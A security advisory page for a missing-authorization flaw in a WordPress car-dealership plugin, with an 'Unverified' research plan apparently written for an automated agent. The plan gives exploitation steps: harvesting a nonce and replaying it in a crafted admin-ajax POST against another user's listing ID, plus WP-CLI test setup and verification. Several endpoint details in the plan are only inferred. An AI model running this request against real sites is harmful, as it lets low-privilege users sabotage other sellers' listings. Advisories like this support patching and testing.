CVE-2026-12435

Motors <= 1.4.111 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Meta Modification via 'stm_mark_as_sold_car' Parameter

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.4.112
Patched in
1d
Time to patch

Description

The Motors – Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.4.111. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to mark or unmark any other user's car listing as sold by replaying a valid nonce harvested from their own listing against an arbitrary victim post ID, triggering a site-wide 'Sold' badge on the victim's listing and silently stripping its special_car featured post meta as a side effect. Exploitation requires the attacker to hold an active listing of their own (obtainable by a Subscriber via the plugin's add-listing form) in order to harvest a valid nonce for the 'stm_mark_as_sold_car' action, which can then be replayed against any other listing's post ID.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.111
PublishedJune 30, 2026
Last updatedJuly 1, 2026

What Changed in the Fix

Changes introduced in v1.4.112

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps to exploit **CVE-2026-12435**, a Missing Authorization vulnerability in the **Motors** plugin. This flaw allows a Subscriber-level user to mark any car listing as "Sold" and remove its featured status by replaying a valid nonce against an unauthorized …

Show full research plan

This research plan outlines the technical steps to exploit CVE-2026-12435, a Missing Authorization vulnerability in the Motors plugin. This flaw allows a Subscriber-level user to mark any car listing as "Sold" and remove its featured status by replaying a valid nonce against an unauthorized post ID.


1. Vulnerability Summary

  • Vulnerability: Missing Authorization (IDOR/Bypass).
  • Location: Likely in includes/actions.php (referenced in stm_vehicles_listing.php) within an AJAX handler.
  • Root Cause: The AJAX handler for marking a car as sold verifies the WordPress nonce (ensuring the request is not CSRF) but fails to check if the current user has ownership or permission to modify the specific post_id provided in the request.
  • Impact: Attackers can sabotage competitors' listings by marking them as sold (removing them from active search/inventory) and stripping "Featured" (special_car) status.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: stm_ajax_add_mark_as_sold_car (inferred from parameter name and plugin naming conventions).
  • Parameters:
    • action: stm_ajax_add_mark_as_sold_car
    • car_id: The ID of the victim's car listing.
    • nonce: A valid nonce for the stm_ajax_add_mark_as_sold_car action.
  • Authentication: Required (Subscriber or higher). The attacker must be able to create their own listing to generate the required nonce.

3. Code Flow (Inferred)

  1. Frontend Entry: A logged-in user views their own "My Listings" page.
  2. Nonce Generation: The plugin calls wp_create_nonce('stm_ajax_add_mark_as_sold_car') and localizes it into a JavaScript object.
  3. AJAX Call: When the user clicks "Mark as Sold," a request is sent to admin-ajax.php with the car_id and the nonce.
  4. Vulnerable Sink: The handler (likely stm_ajax_add_mark_as_sold_car in includes/actions.php):
    • Calls check_ajax_referer('stm_ajax_add_mark_as_sold_car', 'nonce') (Passes because the nonce is valid for the user session).
    • Fails to call current_user_can('edit_post', $car_id) or verify $post->post_author.
    • Updates post meta: update_post_meta($car_id, 'car_mark_as_sold', 'on').
    • Deletes post meta: delete_post_meta($car_id, 'special_car').

4. Nonce Acquisition Strategy

Nonces for this action are typically exposed in the User Dashboard where listings are managed.

  1. Identify the Script Variable: The plugin enqueues a script (likely stm_user_dashboard) and localizes data.
  2. Setup for Nonce:
    • A Subscriber must have at least one listing.
    • Create a page with the listing management shortcode (if not already present):
      wp post create --post_type=page --post_status=publish --post_content='[stm_add_car]' (or the relevant dashboard shortcode).
  3. Extraction via Browser:
    • Log in as a Subscriber.
    • Navigate to the page containing the "My Listings" dashboard.
    • Use browser_eval to find the nonce:
      // Common Motors JS objects: stm_listings_data, stm_user_vars
      window.stm_listings_data?.mark_as_sold_nonce || window.stm_user_vars?.nonce
      
    • Note: Search the page source for wp_create_nonce calls if the specific variable name differs.

5. Exploitation Strategy

Step 1: Discover Victim Post ID

Use wp post list --post_type=listings to identify a target listing ID (e.g., VictimID = 123) that is not owned by the Subscriber.

Step 2: Trigger Modification

Using the http_request tool, send the following authenticated POST request:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=stm_ajax_add_mark_as_sold_car&car_id=123&nonce=<HARVESTED_NONCE>
    

6. Test Data Setup

  1. Target User: Create an Admin user who owns a "Featured" listing.
    • wp post create --post_type=listings --post_title="Victim Car" --post_status=publish --post_author=1
    • wp post meta add <VictimID> special_car on
  2. Attacker User: Create a Subscriber user.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Attacker Listing: The attacker must own a listing to see the "Mark as Sold" UI and get a nonce.
    • wp post create --post_type=listings --post_title="Attacker Car" --post_status=publish --post_author=<AttackerUID>

7. Expected Results

  • HTTP Response: A JSON success message, e.g., {"success": true} or 1.
  • Victim Post State:
    • Meta key car_mark_as_sold is set to on.
    • Meta key special_car is removed.
    • The car appears with a "Sold" badge on the frontend.

8. Verification Steps

After sending the HTTP request, verify the database state using WP-CLI:

# Check if the listing is marked as sold
wp post meta get <VictimID> car_mark_as_sold

# Check if the special_car (featured) meta was removed
wp post meta get <VictimID> special_car
# Expected: Error or empty result

9. Alternative Approaches

If stm_ajax_add_mark_as_sold_car is not the correct action name:

  1. Grepping for Sinks: Run grep -rn "update_post_meta.*car_mark_as_sold" includes/ to find the exact function handling the update.
  2. JS Inspection: In the browser, inspect the "Mark as Sold" button in the dashboard to see which AJAX action is bound to its click event in the page_generator.js or similar assets.
  3. Unmark as Sold: The description implies a toggle ("mark or unmark"). Try stm_ajax_remove_mark_as_sold_car to restore a listing, demonstrating the same authorization bypass.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.